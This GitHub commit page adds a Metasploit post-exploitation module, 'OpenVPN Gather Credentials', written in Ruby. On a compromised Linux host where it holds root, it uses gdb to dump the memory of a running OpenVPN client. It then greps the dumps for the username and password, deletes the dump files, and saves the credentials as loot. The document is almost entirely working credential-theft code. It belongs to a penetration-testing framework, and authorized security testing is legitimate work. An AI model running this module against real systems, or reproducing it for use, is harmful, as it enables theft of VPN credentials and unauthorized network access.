Skip to content

Commit 78d5e52

Browse files
committed
Add OpenVPN Grab Credentials - Post Module
1 parent c399d7e commit 78d5e52

File tree

1 file changed

+75
-0
lines changed

1 file changed

+75
-0
lines changed
Lines changed: 75 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,75 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex'
8+
9+
class Metasploit4 < Msf::Post
10+
11+
include Msf::Post::File
12+
include Msf::Post::Linux::Priv
13+
include Msf::Post::Linux::System
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'OpenVPN Gather Credentials',
18+
'Description' => %q{
19+
This module grab OpenVPN credentials from a running process
20+
in Linux.
21+
},
22+
'License' => MSF_LICENSE,
23+
'Author' =>
24+
[
25+
'rvrsh3ll', # Discovery
26+
'Roberto Soares Espreto <robertoespreto[at]gmail.com>', # Metasploit Module
27+
],
28+
'Platform' => ['linux'],
29+
'SessionTypes' => ['shell', 'meterpreter'],
30+
'References' => [
31+
['URL', 'https://gist.github.com/rvrsh3ll/cc93a0e05e4f7145c9eb#file-openvpnscraper-sh']
32+
]
33+
))
34+
35+
register_options(
36+
[
37+
OptInt.new('PID', [true, 'Process IDentifier to OpenVPN client.'])
38+
], self.class
39+
)
40+
end
41+
42+
def pid
43+
datastore['PID']
44+
end
45+
46+
def run
47+
user = cmd_exec('/usr/bin/whoami')
48+
print_good("Module running as \"#{user}\" user")
49+
50+
unless is_root? && user == 'root'
51+
print_error('This module requires root permissions.')
52+
return
53+
end
54+
55+
cmd_exec('/bin/grep rw-p /proc/'"#{pid}"'/maps | sed -n \'s/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p\' | while read start stop; do /usr/bin/gdb --batch-silent --silent --pid '"#{pid}"' -ex "dump memory '"#{pid}"'-$start-$stop.dump 0x$start 0x$stop"; done')
56+
strings = cmd_exec('/usr/bin/strings *.dump | /bin/grep -B2 KnOQ | /bin/grep -v KnOQ | /usr/bin/column | /usr/bin/awk \'{print "User: "$1"\nPass: "$2}\'')
57+
cmd_exec('/bin/rm *.dump --force')
58+
59+
if strings.empty?
60+
print_error('No credentials. You can check if the PID is correct.')
61+
return
62+
end
63+
64+
vprint_good("OpenVPN Credentials:\n#{strings}")
65+
66+
p = store_loot(
67+
'openvpn.grab',
68+
'text/plain',
69+
session,
70+
strings,
71+
nil
72+
)
73+
print_status("OpenVPN Credentials stored in #{p}")
74+
end
75+
end

0 commit comments

Comments
 (0)